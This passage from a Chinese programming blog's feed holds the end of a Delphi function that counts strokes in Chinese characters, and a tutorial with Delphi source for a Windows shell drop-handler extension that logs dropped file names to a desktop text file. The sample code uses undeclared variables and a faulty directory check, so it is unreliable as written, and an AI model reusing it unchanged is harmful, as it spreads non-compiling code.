#14#10#6#13#10+<BR>#8#9#13#10#12#7#14#8#12#7#7#7#9#4#6#9+<BR>#9#4#7#11#7#7#4#8#4#10#4#14#6#9#7#5+<BR>#13#11#8#4#5#10#9#8#14#8#6#11#8#12#15#6+<BR>#13#10#12#10#7#11#15#3#11#14#11#13#6#12#17#11+<BR>#10#3#13#12#11#9#7#12#6#8#15#9#7#17#14#13+<BR>#9#8#9#3#12#10#6#11#13#6#5#14#6#9#8#11+<BR>#11#7#9#8#13#9#9#8#13#7#13#11#12#9#10#8+<BR>#8#9#11#22#9#15#17#12#3#12#10#8#13#9#8#9+<BR>#9#15#13#6#11#11#12#15#9#10#18#12#10#10#11#10+<BR>#3#7#10#7#11#10#10#13#8#13#15#15#6#9#13#6+<BR>#11#8#11#5#11#9#19#16#8#8#12#10#16#7#12#8+<BR>#7#13#7#4#9#11#9#13#12#12#6#6#9#7#6#6+<BR>#16#8#7#8#8#5#4#10#6#7#12#14#6#9#10#6+<BR>#13#12#7#10#10#14#6#14#11#14#9#10#6#13#11#9+<BR>#6#7#10#9#12#12#11#11#7#12#9#11#11#5#9#19+<BR>#10#9#13#16#8#5#11#6#9#14#12#6#8#6#6#6+<BR>#10#6#5#5#9#6#6#8#9#10#7#3#7#4#10#11+<BR>#13#11#12#9#6#6#11#9#11#10#11#10#7#9#12#8+<BR>#6#7#15#11#8#8#8#11#11#9#14#10#12#16#6#9+<BR>#12#10#9#12#10#11#10#9#5#10#10#7#6#8#8#6+<BR>#9#6#10#6#11#9#10#14#16#13#7#14#13#6#13#11+<BR>#12#9#9#10#9#9#20#12#15#8#6#11#7#3#6#11+<BR>#5#5#6#12#8#11#1#12#7#12#11#8#6#6#13#6+<BR>#12#11#5#10#14#7#8#9#18#12#9#10#3#1#7#4+<BR>#4#7#8#7#6#3#7#17#11#13#9#6#13#13#15#4+<BR>#3#10#13#8#5#10#7#6#17#11#8#9#9#6#10#9+<BR>#6#9#7#11#11#11#7#4#4#11#5#8#15#11#18#7+<BR>#14#10#11#11#9#14#7#17#9#15#13#10#9#9#8#7+<BR>#17#10#11#13#14#13#8#8#10#5#11#9#5#9#6#11+<BR>#7#4#5#7#10#7#8#12#7#6#4#5#7#12#9#2+<BR>#5#6#11#3#8#13#13#13#14#7#9#12#8#12#12#11+<BR>#11#4#10#8#3#6#9#6#9#6#5#11#6#8#6#12+<BR>#12#10#12#13#11#9#8#13#10#12#12#10#15#5#10#11+<BR>#10#4#9#10#10#12#14#7#7#10#13#13#12#7#8#14+<BR>#9#9#4#6#12#11#9#8#12#4#10#10#10#4#9#4+<BR>#9#4#7#15#11#10#13#5#5#10#6#10#9#7#10#10+<BR>#6#6#9#19#12#16#10#10#12#14#17#12#19#8#6#16+<BR>#9#20#16#10#7#7#17#8#8#6#8#10#9#15#15#12+<BR>#16#4#12#12#5#5#11#8#9#9#14#8#5#9#7#14+<BR>#10#6#10#10#14#18#9#13#11#8#10#8#14#11#10#22+<BR>#9#5#9#10#12#11#15#11#14#14#7#12#10#7#3#7+<BR>#8#5#8#16#13#8#9#7#8#9#13#13#6#14#5#14+<BR>#7#10#12#16#8#13#14#7#10#9#13#10#13#10#16#6+<BR>#7#8#8#10#7#15#10#15#6#13#9#11#8#9#6#8+<BR>#16#9#5#9#9#10#8#7#6#8#4#7#14#8#8#10+<BR>#5#3#8#11#8#12#12#6#10#8#7#9#4#11#5#6+<BR>#7#7#10#11#6#10#13#8#9#8#12#10#13#8#8#11+<BR>#12#8#11#4#9#8#9#10#8#9#8#9#6#6#6#8+<BR>#6#9#7#12#9#7#8#8#10#8#9#17#10#10#12#6+<BR>#11#10#8#10#6#10#12#8#17#15#5#11#9#7#11#8+<BR>#12#12#7#8#9#8#7#4#9#4#9#8#15#14#15#10+<BR>#6#12#6#15#6#7#12#13#9#14#7#11#10#10#10#8+<BR>#8#10#12#8#10#11#11#7#9#9#9#10#9#12#11#7+<BR>#12#5#9#13#3#6#11#6#18#12#15#8#11#9#7#7+<BR>#7#9#12#10#7#8#11#9#7#7#8#10#20#16#15#12+<BR>#13#12#15#9#5#7#9#11#7#7#10#0#0#0#0#0+<BR>#3#3#3#4#4#4#5#6#6#10#10#16#0#9#0#2+<BR>#3#4#4#5#5#6#9#11#14#14#19#0#8#14#2#6+<BR>#4#7#7#11#14#4#6#10#11#12#14#15#16#0#5#8+<BR>#11#11#15#8#7#0#4#6#7#8#8#8#9#10#10#10+<BR>#13#13#14#14#15#16#0#8#0#4#4#4#5#5#5#5+<BR>#6#6#6#6#6#6#6#6#6#7#7#7#7#7#7#7+<BR>#7#7#8#8#8#8#8#8#8#8#8#8#8#8#9#9+<BR>#9#9#9#9#9#9#9#10#10#10#10#10#10#10#10#10+<BR>#10#10#10#10#11#11#11#11#11#11#11#12#12#12#13#14+<BR>#14#14#14#14#14#15#15#5#6#7#7#8#17#6#8#4+<BR>#12#16#17#18#21#0#9#9#11#6#6#7#0#8#10#10+<BR>#11#12#12#12#13#16#19#19#0#6#8#8#10#0#10#10+<BR>#0#5#5#5#6#6#6#7#7#7#7#7#7#8#8#8+<BR>#8#8#8#8#8#8#8#8#9#9#9#9#10#10#10#10+<BR>#10#10#10#11#11#11#11#11#11#11#11#11#11#11#12#12+<BR>#12#12#12#13#13#14#14#14#15#15#19#0#8#0#5#5+<BR>#6#6#7#7#7#7#8#9#9#10#10#10#11#11#11#16+<BR>#5#5#5#5#6#6#7#7#7#7#7#7#8#8#8#8+<BR>#8#8#8#9#9#9#9#9#10#10#11#11#13#13#13#14+<BR>#14#16#19#20#5#7#5#7#7#8#10#10#11#15#9#17+<BR>#20#0#0#6#10#2#5#10#12#7#9#9#14#16#16#17+<BR>#6#6#6#6#6#6#6#7#7#7#8#8#8#8#8#8+<BR>#8#8#8#8#9#9#9#9#9#9#9#9#9#10#10#10+<BR>#10#10#10#11#11#11#11#11#11#11#11#11#11#12#12#12+<BR>#12#13#13#14#14#14#15#20#21#22#0#5#5#6#6#6+<BR>#6#6#6#6#7#7#7#7#7#7#7#7#7#7#7#7+<BR>#7#7#7#7#7#7#7#7#7#7#7#8#8#8#8#8+<BR>#8#8#8#8#8#8#8#8#8#8#8#8#8#8#9#9+<BR>#9#9#9#9#9#9#9#9#9#9#9#9#9#9#9#9+<BR>#9#9#9#9#9#9#9#9#9#9#9#9#9#10#10#10+<BR>#10#10#10#10#10#10#10#10#10#10#10#10#10#10#10#10+<BR>#10#11#11#11#11#11#11#11#11#11#11#11#11#11#11#11+<BR>#11#11#11#11#11#11#11#11#11#11#11#12#12#12#12#12+<BR>#12#12#12#12#12#12#12#12#12#12#12#12#12#13#13#13+<BR>#13#13#13#13#13#13#13#13#13#13#13#13#13#14#14#14+<BR>#14#14#14#14#14#14#14#14#15#15#15#15#15#15#15#15+<BR>#15#16#16#16#16#16#16#16#16#16#17#17#17#17#17#18+<BR>#19#19#19#20#20#22#0#9#6#7#9#9#10#10#11#0+<BR>#6#7#13#0#6#7#8#8#8#8#9#9#9#10#10#10+<BR>#11#11#11#11#11#11#11#11#11#11#11#11#12#12#12#12+<BR>#12#12#12#12#12#12#13#13#13#13#13#13#13#13#14#14+<BR>#14#14#14#15#15#15#15#16#16#16#17#17#19#23#25#3+<BR>#7#8#12#5#5#5#5#5#5#6#6#6#7#7#7#7+<BR>#7#7#7#7#7#7#7#8#8#8#8#8#8#8#8#8+<BR>#8#8#9#9#9#9#9#9#9#9#9#9#9#9#9#9+<BR>#9#9#9#9#9#9#9#9#9#9#10#10#10#10#10#10+<BR>#10#10#10#10#10#11#11#11#11#11#11#11#11#11#11#11+<BR>#11#11#11#11#11#11#11#11#12#12#12#12#12#12#12#12+<BR>#12#12#12#12#12#12#12#12#12#13#13#13#13#13#13#13+<BR>#13#13#13#13#13#13#13#13#13#13#13#13#13#13#14#14+<BR>#14#14#14#14#14#14#14#15#15#15#15#15#15#15#15#15+<BR>#15#15#16#16#16#16#16#16#17#17#19#25#0#6#6#7+<BR>#7#8#9#10#11#11#16#7#8#8#8#10#11#11#11#12+<BR>#14#14#15#15#6#6#7#7#7#7#7#7#7#7#7#8+<BR>#8#8#8#8#8#8#8#8#8#9#9#9#9#10#10#11+<BR>#11#11#11#11#11#11#12#12#12#12#12#12#12#12#12#12+<BR>#13#13#13#14#15#15#17#17#19#3#7#8#9#9#9#10+<BR>#11#11#12#13#15#16#24#0#0#5#6#6#6#7#7#8+<BR>#8#8#9#9#9#9#10#10#10#10#10#10#10#11#11#11+<BR>#11#11#11#11#12#12#12#12#12#12#14#14#15#15#16#17+<BR>#20#6#14#12#14#0#0#6#7#7#7#7#7#8#9#10+<BR>#10#11#12#12#13#13#14#15#15#25#5#7#7#8#9#9+<BR>#11#11#11#11#12#13#14#15#16#16#17#0#5#6#6#7+<BR>#7#7#7#7#7#7#7#7#7#7#8#8#8#8#8#8+<BR>#8#8#8#8#8#9#9#9#9#9#9#9#10#10#10#10+<BR>#10#10#10#10#11#11#11#11#11#11#11#11#12#12#12#12+<BR>#12#12#12#13#13#14#15#15#15#16#16#18#8#17#4#6+<BR>#7#7#7#7#9#9#10#10#10#11#11#11#11#11#11#12+<BR>#12#13#13#13#14#0#4#8#0#6#6#6#7#7#7#7+<BR>#7#7#7#7#7#7#7#7#8#8#8#8#8#8#8#8+<BR>#8#8#8#8#8#8#8#8#9#9#9#9#9#9#9#9+<BR>#9#9#9#9#9#9#9#9#9#9#10#10#10#10#10#10+<BR>#10#10#10#10#10#11#11#11#11#11#11#11#11#11#11#11+<BR>#11#11#11#11#12#12#12#12#12#12#12#12#12#12#12#12+<BR>#13#13#13#13#13#13#13#13#13#13#13#13#13#13#13#13+<BR>#13#14#14#14#14#14#14#14#14#14#14#14#14#14#14#15+<BR>#15#15#15#15#15#16#16#16#16#16#16#17#17#17#17#17+<BR>#19#19#19#20#20#21#24#0#5#8#8#9#10#12#13#14+<BR>#14#15#16#16#17#17#0#7#7#8#8#8#8#8#8#8+<BR>#9#9#10#10#10#10#10#10#11#11#11#11#12#12#12#12+<BR>#13#13#13#13#15#15#16#16#17#17#18#0#11#9#12#5+<BR>#9#10#10#12#14#15#21#8#8#9#11#12#22#0#6#6+<BR>#7#7#7#7#7#7#7#7#7#7#8#8#8#8#9#9+<BR>#9#9#9#9#9#10#10#10#10#10#10#10#10#11#11#11+<BR>#11#11#11#11#12#12#12#12#13#13#13#13#13#13#14#14+<BR>#14#14#14#14#14#15#16#16#17#17#20#5#9#7#8#12+<BR>#3#3#8#8#8#8#8#8#8#8#9#9#9#10#11#11+<BR>#11#11#12#12#13#13#13#14#14#15#19#20#0#6#6#6+<BR>#6#6#7#7#7#8#8#8#8#8#8#8#9#9#9#10+<BR>#10#10#11#11#11#11#11#11#11#11#11#11#11#12#12#12+<BR>#12#12#12#12#12#12#12#13#13#13#13#13#13#13#13#14+<BR>#14#14#14#14#15#15#15#16#16#16#16#19#3#15#3#8+<BR>#10#6#6#8#8#8#9#9#9#9#9#9#9#9#10#10+<BR>#10#10#10#10#10#10#10#11#12#12#12#12#12#12#12#12+<BR>#12#12#13#13#13#13#13#14#14#15#15#15#15#15#15#15+<BR>#16#17#17#17#18#20#19#13#13#14#7#7#7#7#7#8+<BR>#8#8#8#8#8#8#8#8#8#8#8#8#9#9#9#9+<BR>#9#9#9#9#9#9#9#9#9#9#9#9#9#9#9#10+<BR>#10#10#10#10#10#10#10#10#10#10#10#10#10#10#10#10+<BR>#10#10#11#11#11#11#11#11#11#12#12#12#12#12#12#12+<BR>#12#12#12#12#12#13#13#13#13#13#13#13#13#13#13#13+<BR>#13#13#13#13#13#13#13#13#14#14#14#14#14#14#14#14+<BR>#14#14#14#14#14#15#15#15#15#15#15#15#14#16#16#16+<BR>#16#16#16#16#16#16#16#16#17#17#17#17#18#13#14#8+<BR>#9#9#9#11#11#11#12#12#14#16#7#8#9#9#9#9+<BR>#9#9#9#9#9#10#10#10#10#11#12#12#12#12#13#15+<BR>#16#10#5#8#11#12#12#13#13#13#14#14#8#9#12#16+<BR>#16#17#4#6#6#7#8#8#8#8#8#8#8#9#9#9+<BR>#9#9#9#10#10#10#10#10#10#11#11#12#13#13#14#14+<BR>#16#18#18#20#21#9#9#9#9#10#10#10#10#11#11#11+<BR>#12#12#14#9#10#11#12#13#14#15#15#9#16#6#8#9+<BR>#11#11#12#12#12#13#14#10#11#12#14#17#10#10#12#12+<BR>#12#13#16#16#16#22#5#6#7#7#9#10#10#11#13#0+<BR>#11#13#12#13#15#9#15#6#7#7#7#8#8#8#8#8+<BR>#8#8#8#9#9#9#9#9#9#9#9#9#9#9#9#9+<BR>#10#10#10#10#10#10#10#10#10#11#11#11#11#11#11#12+<BR>#12#12#12#12#12#12#13#13#13#13#13#13#13#13#14#14+<BR>#14#15#15#16#17#17#17#17#17#16#7#11#12#13#13#16+<BR>#9#9#12#13#16#16#4#13#13#17#12#15#16#8#10#10+<BR>#10#11#11#13#14#7#8#8#8#9#9#9#9#9#10#10+<BR>#11#11#11#12#12#13#13#13#13#13#13#13#13#14#15#15+<BR>#15#15#16#16#16#18#21#30#0#11#13#16#8#8#9#11+<BR>#12#0#7#8#8#9#9#9#9#9#9#9#10#10#12#12+<BR>#13#14#16#21#7#7#9#10#10#10#10#10#10#11#13#13+<BR>#14#16#16#17#17#25#0#6#8#9#12#7#8#8#9#9+<BR>#9#9#9#9#9#10#10#10#10#10#10#10#10#10#10#11+<BR>#11#11#11#11#11#11#11#12#13#13#13#13#13#14#14#14+<BR>#14#14#15#15#15#16#16#17#17#18#19#18#21#11#12#17+<BR>#19#8#9#9#9#9#9#10#10#10#11#11#11#11#12#12+<BR>#12#12#13#13#13#13#14#14#14#14#15#15#16#16#16#17+<BR>#18#7#8#9#9#9#10#12#13#17#9#10#10#12#13#14+<BR>#14#16#17#17#10#16#23#0#6#6#7#7#7#8#8#8+<BR>#8#8#8#9#9#9#9#9#9#9#9#9#9#10#10#10+<BR>#10#10#10#10#10#10#10#10#10#10#10#10#10#10#10#10+<BR>#11#11#11#11#11#11#11#11#11#11#11#11#11#11#11#11+<BR>#11#11#11#11#11#11#11#11#11#11#12#12#12#12#12#12+<BR>#12#12#12#12#12#12#12#12#12#12#12#13#13#13#13#13+<BR>#13#13#13#13#13#13#13#14#14#14#14#14#14#14#14#14+<BR>#14#14#14#15#15#15#15#15#15#15#15#16#16#16#16#16+<BR>#16#16#16#17#17#17#17#17#17#17#17#17#17#18#18#18+<BR>#19#20#14#9#12#13#9#9#10#10#11#12#12#12#13#13+<BR>#15#15#16#17#18#22#9#11#12#13#17#10#11#7#7#8+<BR>#9#9#10#10#10#10#10#10#11#11#11#11#11#12#12#12+<BR>#12#12#12#13#13#13#13#13#14#14#14#14#14#15#15#16+<BR>#16#16#17#17#17#17#19#18#22#0#7#7#8#8#9#9+<BR>#10#10#10#10#10#10#10#10#11#11#12#12#12#12#12#12+<BR>#13#13#13#13#13#13#13#14#14#14#14#14#14#14#15#15+<BR>#15#15#16#16#16#16#16#16#16#16#17#18#18#18#18#21+<BR>#23#11#12#8#8#9#9#10#11#13#13#14#14#14#15#0+<BR>#8#9#9#9#9#10#11#11#11#11#12#12#12#12#13#13+<BR>#13#13#13#13#14#14#14#14#14#15#15#16#17#19#24#5+<BR>#9#11#12#9#6#9#10#11#12#13#14#15#15#16#16#22+<BR>#12#8#11#11#11#12#15#16#12#9#10#10#12#12#12#12+<BR>#13#15#15#16#16#16#18#20#21#0#10#7#8#9#9#9+<BR>#9#10#10#10#10#10#10#10#10#10#10#11#11#11#11#11+<BR>#11#11#11#11#11#11#12#12#12#12#12#12#12#12#12#12+<BR>#12#12#13#13#13#13#13#13#13#13#14#14#14#14#14#14+<BR>#14#14#14#14#14#14#14#14#15#15#15#15#15#15#15#15+<BR>#15#15#15#15#15#15#16#16#16#16#16#16#16#16#16#16+<BR>#17#17#17#17#17#17#17#17#17#17#17#18#18#18#18#19+<BR>#19#19#19#20#21#24#26#6#14#17#17#10#8#9#9#9+<BR>#10#10#10#10#10#11#11#11#11#11#11#11#11#11#11#11+<BR>#11#12#12#12#12#12#12#13#13#13#13#13#13#14#14#14+<BR>#14#14#14#14#14#14#14#14#14#15#15#15#15#16#16#16+<BR>#16#16#17#17#17#17#17#17#18#18#18#19#19#19#8#9+<BR>#11#12#10#10#9#9#9#10#10#10#10#11#11#11#11#12+<BR>#13#13#14#15#17#18#19#10#10#11#13#13#19#11#11#13+<BR>#15#15#16#9#10#10#11#11#12#12#13#14#14#14#15#15+<BR>#15#15#15#16#18#6#14#9#11#12#14#14#15#15#16#17+<BR>#6#12#14#14#17#25#11#19#9#12#13#13#23#11#15#10+<BR>#11#9#10#10#10#12#12#12#13#13#13#14#14#14#14#14+<BR>#15#15#16#16#16#17#17#18#19#19#19#20#20#21#7#16+<BR>#10#13#14#18#18#10#10#11#11#11#12#12#12#12#12#12+<BR>#12#12#13#13#13#13#13#13#13#14#14#15#15#15#15#15+<BR>#15#15#15#16#16#16#16#16#16#16#16#17#17#17#19#19+<BR>#19#19#19#20#21#22#22#23#24#7#12#13#13#17#17#11+<BR>#11#12#12#13#13#14#15#13#18#12#11#12#12#14#14#15+<BR>#16#16#19#19#20#22#10#13#13#13#14#14#15#15#17#8+<BR>#12#20#8#10#10#13#14#18#18#14#14#15#16#17#18#18+<BR>#21#24#12#12#13#13#13#13#13#13#13#13#14#14#14#14+<BR>#14#14#14#14#15#15#15#15#15#15#15#15#15#15#16#16+<BR>#16#16#16#16#16#16#16#16#16#16#17#17#17#17#17#17+<BR>#17#17#18#18#18#18#18#19#19#19#19#19#19#20#20#20+<BR>#21#14#14#15#15#16#18#18#18#19#19#13#13#14#14#14+<BR>#15#15#17#17#18#18#19#19#22#14#14#15#16#16#17#19+<BR>#12#15#18#22#22#10#13#14#15#15#16#16#16#18#19#20+<BR>#23#25#14#15#17#13#16#16#17#19#19#21#23#17#17#17+<BR>#18#18#19#20#20#20#20#21#17#18#20#23#23#16#17#23;<BR><BR>var<BR>no:integer;<BR>BiHua:integer;<BR>str:string; // str[40]<BR>BiHuaI:integer;<BR>ch1:char;<BR>ch2:char;<BR>len:integer;<BR>begin<BR>str:=chnstr;<BR>BiHuaI:=1;<BR>BiHua:=0;<BR>len:=length(str);<BR>while BiHuaI&lt;=len do<BR>begin<BR>ch1:=str[BiHuaI];<BR>BiHuaI:=BiHuaI+1;<BR>if (ord(ch1)&gt;=176) and (BiHuaI&lt;=len) then<BR>begin<BR>ch2:=str[BiHuaI];<BR>//BiHuaI:=BiHuaI+1; ----这一行在只查一个汉字的时候用不着 2002.10<BR>no:=(ord(ch1)-176)*94+(ord(ch2)-160);<BR>BiHua:=ord(BiHuaTable[no]);<BR>end<BR>else<BR>begin<BR>BiHua:=0;<BR>end;<BR>break; // 只要查出第一个汉字即可<BR>end;<BR><BR>result:=BiHua;<BR>end;]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=140" /> 
	  <id>http://www.openx.cn/default.asp?id=140</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[外壳拖放控制扩展]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-10T11:13:50+08:00</updated>
	  <published>2005-11-10T11:13:50+08:00</published>
		  <summary type="html"><![CDATA[<P>当你的系统安装了Winzip之后，当把任意一个文件拖放到ZIP文件上后，你会发现鼠标的光标变成了一个+字符号样，你一松开鼠标，就会调用Winzip询问你是否要把拖放的文件加入当前的Zip文件里去，可是我们试了一下别的文件却没有这种功能，这表明缺省情况下，文件不是拖放目标，那么Winzip是如何做到的?<BR><BR>　　实际上只要实现一个被拖放的文件类的拖放扩展就可以很简单地做到了。当一个文件类型注册了一个拖放扩展后，任何时候一个外壳对象被拖放到文件类型的一个成员上时，外壳管理器都会自动调用扩展的IDropTarget的相应方法。<BR><BR>注册扩展<BR><BR>　　拖放扩展注册只需要在子键HKEY_CLASSES_ROOT\ProgID\Shellex\ DropHandler 下创建一个 DropHandler子键，然后设定键值为扩展的类标示符（CLSID GUID）的字符串形式即可。示例如下：<BR><BR>　　...<BR><BR>　　MyProgram.1=MyProgram Application<BR><BR>　　　Shellex<BR><BR>　　　　DropHandler<BR><BR>　　　　　MyCommand={00000000-1111-2222-3333-444444444444}<BR><BR>实现扩展<BR><BR>　　同前面讲的类似，我们需要实现一个支持IPersistFile 和 IDropTarget接口的COM对象。<BR><BR>　　正如在前面讲的，外壳通过IPersistFile接口传递给扩展被拖放的文件名。在扩展初始化后，外壳会调用拖放扩展的IDropTarget的合适方法。接下来的IPersistFile接口的实现同前面飞跃提示的相同接口的实现几乎完全一样，都是通过这个接口获得要操作的文件名，并将其保存。而IDropTarget接口的实现在前面的基于COM的拖放技术部分已经进行了详细的介绍，这里就不再赘述了，需要说明的一点是，在Winzip拖放过程中，拖放的目标（Target）是ZIP文件。<BR><BR>　　下面是一个拖放扩展的例子，它唯一的功能就是把所有拖放的文件名写到一个文本文件中，下面是它实现的全部源代码，重要的部分都添加了注释：<BR><BR>　　unit ContextM; <BR><BR>　　interface <BR><BR>　　uses <BR><BR>　　　Windows, ActiveX, ComObj, ShlObj; <BR><BR>　　type <BR><BR>　　　TDropHandler = class(TComObject, IShellExtInit, IUnknown, IPersistFile, IDropTarget) <BR><BR>　　　private <BR><BR>　　　FFileName: array[0..MAX_PATH] of Char; <BR><BR>　　　　Nfiles: integer; <BR><BR>　　　　FFiles: array[0..max_PATH] of PChar; <BR><BR>　　　　dest: string; <BR><BR>　　　protected <BR><BR>　　　　{ IShellExtInit } <BR><BR>　　　　function IShellExtInit.Initialize = SEIInitialize; // Avoid compiler warning <BR><BR>　　　　function SEIInitialize(pidlFolder: PItemIDList; lpdobj: IDataObject; <BR><BR>　　　　hKeyProgID: HKEY): HResult; stdcall; <BR><BR>　　　　{ IPersistFile } <BR><BR>　　　　function IsDirty: HResult; stdcall; <BR><BR>　　　　function Load(pszFileName: POleStr; dwMode: Longint): HResult; stdcall; <BR><BR>　　　　function Save(pszFileName: POleStr; fRemember: BOOL): HResult; stdcall; <BR><BR>　　　　function SaveCompleted(pszFileName: POleStr): HResult; stdcall; <BR><BR>　　　　function GetCurFile(out pszFileName: POleStr): HResult; stdcall; <BR><BR>　　　　function GetClassID(out classID: TCLSID): HResult; stdcall; <BR><BR>　　　　{ IDropTarget } <BR><BR>　　　　function DragEnter(const dataObj: IDataObject; grfKeyState: Longint;　pt: TPoint; var dwEffect: Longint): HResult; stdcall; <BR><BR>　　　　function DragOver(grfKeyState: Longint; pt: TPoint; var dwEffect: Longint): HResult; stdcall; <BR><BR>　　　　function DragLeave: HResult; stdcall; <BR><BR>　　　　function Drop(const dataObj: IDataObject; grfKeyState: Longint; pt: TPoint; var dwEffect: Longint): HResult; stdcall; <BR><BR>　　　end; <BR><BR>　　const <BR><BR>　　　Class_DropHandler: TGUID = '{574AF620-AC3D-11D4-86B6-92AD195EF923}'; <BR><BR>　　implementation <BR><BR>　　uses ComServ, SysUtils, ShellApi, Registry; <BR><BR>　　function TDropHandler.SEIInitialize(pidlFolder: PItemIDList; lpdobj: IDataObject; <BR><BR>　　　hKeyProgID: HKEY): HResult; <BR><BR>　　var <BR><BR>　　　StgMedium: TStgMedium; <BR><BR>　　　FormatEtc: TFormatEtc; <BR><BR>　　begin <BR><BR>　　if (lpdobj = nil) then <BR><BR>　　　begin <BR><BR>　　　　Result := E_INVALIDARG; <BR><BR>　　　　Exit; <BR><BR>　　　end; <BR><BR>　　　with FormatEtc do <BR><BR>　　　begin <BR><BR>　　　　cfFormat := CF_HDROP; <BR><BR>　　　　ptd := nil; <BR><BR>　　　　dwAspect := DVASPECT_CONTENT; <BR><BR>　　　　lindex := -1; <BR><BR>　　　　tymed := TYMED_HGLOBAL; <BR><BR>　　　end; <BR><BR>　　　// Render the data referenced by the IDataObject pointer to an HGLOBAL <BR><BR>　　　// storage medium in CF_HDROP format. <BR><BR>　　　Result := lpdobj.GetData(FormatEtc, StgMedium); <BR><BR>　　　if Failed(Result) then Exit; <BR><BR>　　　　Result := NOERROR; <BR><BR>　　　　ReleaseStgMedium(StgMedium); <BR><BR>　　end; <BR><BR>　　function TDropHandler.IsDirty: HResult; <BR><BR>　　begin <BR><BR>　　　Result := E_NOTIMPL; <BR><BR>　　end; <BR><BR>　　function TDropHandler.Load(pszFileName: POleStr; dwMode: Integer): HResult; <BR><BR>　　begin <BR><BR>　　　// 获得被拖放的文件的完全路径名，并将其保存在变量中<BR><BR>　　　Destfile:=WideCharToString(pszFileName); <BR><BR>　　　Result := S_OK; <BR><BR>　　end; <BR><BR>　　function TDropHandler.Save(pszFileName: POleStr; fRemember: BOOL): HResult; <BR><BR>　　begin <BR><BR>　　　Result := E_NOTIMPL; <BR><BR>　　end; <BR><BR>　　function TDropHandler.SaveCompleted(pszFileName: POleStr): HResult; <BR><BR>　　begin <BR><BR>　　　Result := E_NOTIMPL; <BR><BR>　　end; <BR><BR>　　function TDropHandler.DragEnter(const dataObj: IDataObject; grfKeyState: Longint;　pt: TPoint; var dwEffect: Longint): HResult; stdcall; <BR><BR>　　var <BR><BR>　　　StgMedium: TStgMedium; <BR><BR>　　　FormatEtc: TFormatEtc; <BR><BR>　　　hr: HRESULT; <BR><BR>　　begin <BR><BR>　　　with FormatEtc do <BR><BR>　　　begin <BR><BR>　　　　cfFormat := CF_HDROP; <BR><BR>　　　　ptd := nil; <BR><BR>　　　　dwAspect := DVASPECT_CONTENT; <BR><BR>　　　　lindex := -1; <BR><BR>　　　　tymed := TYMED_HGLOBAL; <BR><BR>　　　end; <BR><BR>　　　hr := dataobj.QueryGetData(formatetc); <BR><BR>　　　if Failed(hr) then <BR><BR>　　　begin <BR><BR>　　　　// 如果无法获得数据，就返回一个无效的拖放效果<BR><BR>　　　　dwEffect:=DROPEFFECT_NONE; <BR><BR>　　　　Result := E_FAIL; <BR><BR>　　　　Exit; <BR><BR>　　　end <BR><BR>　　　else <BR><BR>　　　begin <BR><BR>　　　　// 如果一切OK，就需要返回一个复制操作效果<BR><BR>　　　　dwEffect:=DROPEFFECT_COPY; <BR><BR>　　　　Result := NOERROR; <BR><BR>　　　end; <BR><BR>　　end; <BR><BR>　　function TDropHandler.DragOver(grfKeyState: Longint; pt: TPoint; var dwEffect: Longint): HResult; stdcall; <BR><BR>　　begin <BR><BR>　　　dwEffect:=DROPEFFECT_COPY; <BR><BR>　　　Result := S_OK; <BR><BR>　　end; <BR><BR>　　function TDropHandler.DragLeave: HResult; stdcall; <BR><BR>　　begin <BR><BR>　　　Result := S_OK; <BR><BR>　　end; <BR><BR>　　function TDropHandler.Drop(const dataObj: IDataObject; grfKeyState: Longint; pt: TPoint; var dwEffect: Longint): HResult; stdcall; <BR><BR>　　var <BR><BR>　　　StgMedium: TStgMedium; <BR><BR>　　　FormatEtc: TFormatEtc; <BR><BR>　　　hr: HRESULT; <BR><BR>　　　F: TextFile; <BR><BR>　　begin <BR><BR>　　　// 这是整个单元中最重要的部分，文件被释放到拖放目标上<BR><BR>　　　// 在这里我们的扩展将把所有被拖放的文件名写到一个文本文件中<BR><BR>　　　if (dataobj = nil) then <BR><BR>　　　begin <BR><BR>　　　　Result := E_INVALIDARG; <BR><BR>　　　　Exit; <BR><BR>　　　end; <BR><BR>　　　with FormatEtc do <BR><BR>　　　begin <BR><BR>　　　　cfFormat := CF_HDROP; <BR><BR>　　　　ptd := nil; <BR><BR>　　　　dwAspect := DVASPECT_CONTENT; <BR><BR>　　　　lindex := -1; <BR><BR>　　　　tymed := TYMED_HGLOBAL; <BR><BR>　　　end; <BR><BR>　　　//利用IDataObject获得数据<BR><BR>　　　hr := dataobj.GetData(FormatEtc, StgMedium); <BR><BR>　　　if Failed(hr) then Exit; <BR><BR>　　　　// 将所有被拖放的文件写到指定文件中<BR><BR>　　　　NFiles:=DragQueryFile(StgMedium.hGlobal, $FFFFFFFF, nil, 0); <BR><BR>　　　　// 有多少文件被拖放？<BR><BR>　　　　AssignFile(F,'C:\Windows\Desktop\DroppedFiles.txt'); <BR><BR>　　　　Rewrite(f); <BR><BR>　　　　for i:=0 to nfiles-1 do <BR><BR>　　　　begin <BR><BR>　　　　　// 读取拖放文件列表，并将文件名记录下来<BR><BR>　　　　　DragQueryFile(StgMedium.hGlobal, i, FFileName , SizeOf(FFilename)); <BR><BR>　　　　　writeln(F, FFilename); <BR><BR>　　　　　// 如果拖放对象是一个目录，就记录目录名<BR><BR>　　　　　if GetFileAttributes(FFilename)=faDirectory then writeln (f,'Folder -&gt; '+ffilename); <BR><BR>　　　　end; <BR><BR>　　　　//记录下拖放的目标文件名<BR><BR>　　　　writeln(f,'Drop Target -&gt; '+DestFile); <BR><BR>　　　　CloseFile(f); <BR><BR>　　　　Result := NOERROR; <BR><BR>　　　　ReleaseStgMedium(StgMedium); <BR><BR>　　end; <BR><BR>　　function TDropHandler.GetClassID(out classID: TCLSID): HResult; <BR><BR>　　begin <BR><BR>　　　Result := E_NOTIMPL; <BR><BR>　　end; <BR><BR>　　function TDropHandler.GetCurFile(out pszFileName: POleStr): HResult; <BR><BR>　　begin <BR><BR>　　　Result := E_NOTIMPL; <BR><BR>　　end; <BR><BR>　　type <BR><BR>　　　TDropHandlerFactory = class(TComObjectFactory) <BR><BR>　　　public <BR><BR>　　　procedure UpdateRegistry(Register: Boolean); override; <BR><BR>　　end; <BR><BR>　　procedure TDropHandlerFactory.UpdateRegistry(Register: Boolean); <BR><BR>　　var <BR><BR>　　　ClassID: string; <BR><BR>　　begin <BR><BR>　　　if Register then begin <BR><BR>　　　　inherited UpdateRegistry(Register); <BR><BR>　　　　ClassID := 